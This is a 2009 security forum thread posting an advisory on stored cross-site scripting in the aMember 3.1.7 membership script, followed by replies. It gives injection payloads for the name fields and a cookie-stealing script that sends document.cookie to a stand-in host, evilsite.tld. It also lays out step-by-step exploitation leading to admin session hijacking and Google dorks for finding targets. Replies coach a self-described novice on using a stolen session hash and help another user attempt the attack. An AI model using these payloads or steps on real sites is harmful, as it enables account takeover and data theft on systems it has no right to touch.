| InterN0T - Advisories Advisories that are found by members of InterN0T. |
#1
| ||||
| ||||
| [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities AMember - Multiple Vulnerabilities Version Affected: 3.1.7 (Apr-10-2009) (newest) Info: aMember is a flexible membership and subscription management PHP script. It has support for PayPal, BeanStream, 2Checkout, NoChex, VeriSign PayFlow, Authorize.Net, PaySystems, Probilling, Multicards, E-Gold and Clickbank payment systems (see list of integrated payment systems) and allows you to setup paid-membership areas on your site. It can also be used without any payment system - you can manage users manually. aMember Pro also supports integration plugins to link users database with third-party scripts, for example vBulletin, Joomla, WordPress (see list of integration plugins). aMember is a perfect membership software for selling digital subscriptions and downloads. Opinion: CGI Systems' website has an XSS issue too, they obviously don't realise the impact of XSS. Credits: Matt, fiftysixer, mind_warlock, fourthdimension, NetRolller3D, ha.ckers, webDEViL and all of InterN0T :) Accurate Googled0rk: (fewer results) http://lmgtfy.com/?q=inurl%3A%2Famem...T%2C+2002-2006 Inaccurate Googled0rk: (more results) http://lmgtfy.com/?q=intext%3A%A9+CG...T%2C+2002-2006 External Links: http://www.amember.com/ http://www.amember.com/p/Main/Download http://www.amember.com/p/Main/Demo The Advisory Quote:
All the files are encrypted according to CGI Systems' website. Quote:
I believe this vulnerability might be exploited in the wild due to it is very easy to find and take advantage of. (if you know what you're looking for) Ways of abusing the HTML Injection and XSS The following are examples of what you can input as first- and/or last-name: "><SCRIPT SRC=//intern0t.net/.j> - Works only in FireFox and NetScape 8.1-G (Gecko) Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag. Firstname: "><script src="//intern0t.net/.j Lastname: "></script> </ - Works in FireFox but should work in all browsers. Firstname: "><iframe src="http://google.com Lastname: "></iframe> </ - Works in all browsers. Firstname: "><iframe src="//intern0t.net Lastname: "></iframe> </ - Should work in all browsers as well. (tested in FireFox) The following is an example of how a cookie stealer will work in conjunction with the exploit: <script>document.location=%22http://evilsite.tld/cookiestealer.php?cookie=%22 %2B document.cookie;</script> - The reason why "browser-hex" is used is because the above would else issue an error and thereby not work. -- Reference about url encoding: http://www.blooberry.com/indexdot/ht...rlencoding.htm CookieLogger: PHP Code: Javascript:void(document.cookie="PHPSESSID=hash") (where hash is the PHPSESSID hash/cookie) What's the first thing you could do as admin? http://www.website.tld/amember/admin/backup.php What's the best way to exploit the vulnerability? 1) Make a file named: .j (and upload to a domain which has a name equal to or shorter than 8 characters) 2) The file should contain the following: HTML Code: document.location='http://evilsite.tld/cookielogger.php?cookie=' + document.cookie; "><script src="//evilsite.tld/.j 4) Make your last name: "></script> </ 5) Make your username: aaaaaaaaa 6) After signing up, go to profile.php and make sure the first- and last-name are correct. 7) Wait or social engineer the administrator to click: "Browse Users" in his admin panel, that's all! Conclusion The vendor was (originally) not contacted due to they have encrypted all of the files and because i believe in full disclosure and open source! The vendor was contacted the 25th May due to the vulnerability might be exploited more than usual in the wild after public disclosure the 14th May. Disclosure Information: - Vulnerabilities found early start of May 2009. - Advisory finished and published 14th May on InterN0T. - Bugtraq (SecurityFocus) and Milw0rm contacted the 24th May. - OSVDB, CVE (Mitre) and CGI Systems contacted the 25th May. - Bugtraq: http://www.securityfocus.com/bid/35089/info - Secunia: http://secunia.com/advisories/35182/ All of the best, MaXe
__________________ Code: ____/____\_________________
\|/ | OMG IT'S TEH LEET STORY!! |
/*\ /\ -*- |______ ________/\_________|
// \\ / \ /|\ / \/ \ / \
/// \\\ / \ / \/ \
// \\ / \ / \o/ \ \
| | / \ / | \ \
___| |____/ \______/________/ \_______\_____\_________
/ o \
#"=-
/\
__________________________________________________________
On a mission, to find the lost member of Teh Unkwon.. |
|
#2
| ||||
| ||||
| Re: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities
Updated with the best method to exploit the vulnerability and 1 addition to the cookielogger: PHP Code: document.location='http://evilsite.tld/cookielogger.php?cookie=' + document.cookie;
__________________ Code: ____/____\_________________
\|/ | OMG IT'S TEH LEET STORY!! |
/*\ /\ -*- |______ ________/\_________|
// \\ / \ /|\ / \/ \ / \
/// \\\ / \ / \/ \
// \\ / \ / \o/ \ \
| | / \ / | \ \
___| |____/ \______/________/ \_______\_____\_________
/ o \
#"=-
/\
__________________________________________________________
On a mission, to find the lost member of Teh Unkwon.. |
|
#3
| |||
| |||
| Re: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities
I have got the Hash but don't know how to use it. Can anyone help me here? sorry im kind of a noob Quote:
|
|
#4
| ||||
| ||||
| Re: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities
If i had a hash like 9cdfb439c7876e703e307864c9167a15 (md5 of the word lol), then i would enter the following in my browser: (where you normally type in websites) javascript:void(document.cookie="PHPSESSID=9cdfb43 9c7876e703e307864c9167a15") Keep in mind that you should have legal access and that I nor InterN0T has absolutely no responsibility for whatever harm or malicious intentions you might have, good day sir ;-)
__________________ Code: ____/____\_________________
\|/ | OMG IT'S TEH LEET STORY!! |
/*\ /\ -*- |______ ________/\_________|
// \\ / \ /|\ / \/ \ / \
/// \\\ / \ / \/ \
// \\ / \ / \o/ \ \
| | / \ / | \ \
___| |____/ \______/________/ \_______\_____\_________
/ o \
#"=-
/\
__________________________________________________________
On a mission, to find the lost member of Teh Unkwon.. |
|
#5
| |||
| |||
| Re: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities
hey guys i have an amember site 3.1.4 though when i goto add the html injection it rejects it and prompts to enter a first name and last name.. i have done exactly as stated above i have even subbed the " char with its html equivelent. should i just convert the entire injected string to html and try that or wont that work? would appreciate the feedback. cheers |
|
#6
| |||
| |||
| Re: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities
ok i have managed to get it saved using </script> (obviously not the full code) but = to "><script>alert(0)</script> once this has been injected when i goto view profile should it prompt or does it only prompt for the admin the browses the users? |
|
#7
| ||||
| ||||
| Re: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities
It should give you an alert box saying 0. The problem is that if you have downloaded the newest version then they have already included a security fix for this :-) They made that a few weeks ago. Even the site which has version 3.1.4 might have the security fix applied ;-) About the html injection, well first you need a vulnerable version and then in the files mentioned above, f.ex. signup.php, aff_signup.php or profile.php it was possible to inject: "><script>alert(0)</script> which in return would be triggered at certain admin panel pages / sites that an administrator would view :-) PS: Using < and > wont make the script work except if you're breaking a bad-character filter that returns it to normal ;-) The above was by the way tested with MySQL 4 (i think) and magic_quotes turned on. No big deal about the magic quotes though :-P
__________________ Code: ____/____\_________________
\|/ | OMG IT'S TEH LEET STORY!! |
/*\ /\ -*- |______ ________/\_________|
// \\ / \ /|\ / \/ \ / \
/// \\\ / \ / \/ \
// \\ / \ / \o/ \ \
| | / \ / | \ \
___| |____/ \______/________/ \_______\_____\_________
/ o \
#"=-
/\
__________________________________________________________
On a mission, to find the lost member of Teh Unkwon.. |
|
#8
| |||
| |||
| Re: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities Anyone mind telling me how my nickname got attached to this exploit? I was not involved in making it, to the best of my knowledge. (I assume it was added by someone on Freenode/#remote-exploit, as I usually use my nickname in the form ".NetRolller 3D", which Freenode normalizes to "NetRolller3D".)
|
|
#9
| |||
| |||
| Re: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities Quote:
|
|
#10
| ||||
| ||||
| Re: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities Quote:
The people that are written there is because they have given me help, inspiration or examples of how I could use XSS or Javascript the way I wanted to ;-) We talked in #remote-exploit on Freenode, so that's why NetRoller :-)
__________________ Code: ____/____\_________________
\|/ | OMG IT'S TEH LEET STORY!! |
/*\ /\ -*- |______ ________/\_________|
// \\ / \ /|\ / \/ \ / \
/// \\\ / \ / \/ \
// \\ / \ / \o/ \ \
| | / \ / | \ \
___| |____/ \______/________/ \_______\_____\_________
/ o \
#"=-
/\
__________________________________________________________
On a mission, to find the lost member of Teh Unkwon.. |
![]() |
| Bookmarks |
| Thread Tools | |
| Display Modes | |
| |
LinkBacks (?)
LinkBack to this Thread: http://forum.intern0t.net/intern0t-advisories/1018-intern0t-amember-3-1-7-multiple-vulnerabilities.html | ||||
| Posted By | For | Type | Date | |
| 54753: aMember profile.php Multiple Field XSS | This thread | Refback | 7th October 2009 17:52 | |
| 54755: aMember signup.php Multiple Field XSS | This thread | Refback | 7th October 2009 17:50 | |
| 54751: aMember /admin/users.php Multiple Parameter XSS | This thread | Refback | 7th October 2009 17:45 | |
| Bugtraq: [InterN0T] AMember 3.1.7 - Multiple Vulnerabilities | This thread | Refback | 29th June 2009 01:56 | |
| Hacking Amember, What To Do With Exploit - Page 1 | This thread | Refback | 24th June 2009 23:39 | |
Similar Threads | ||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| [InterN0T] transLucid 1.75 - Multiple Vulnerabilities | MaXe | InterN0T - Advisories | 0 | 12th June 2009 22:02 |
| [InterN0T] TBDev 01-01-2008 - Multiple Vulnerabilities | MaXe | InterN0T - Advisories | 0 | 12th June 2009 21:58 |
| [InterN0T] SkyBlueCanvas 1.1 r237 - Multiple Vulnerabilities | MaXe | InterN0T - Advisories | 0 | 12th June 2009 21:51 |
| [InterN0T] Pivot 1.40.4-7 - Multiple Vulnerabilities | MaXe | InterN0T - Advisories | 0 | 12th June 2009 21:47 |
| Thelia 1.3.5 Multiple Vulnerabilities Exploit | hestas | Exploits, Vulnerabilities & PoCs | 0 | 7th July 2008 03:50 |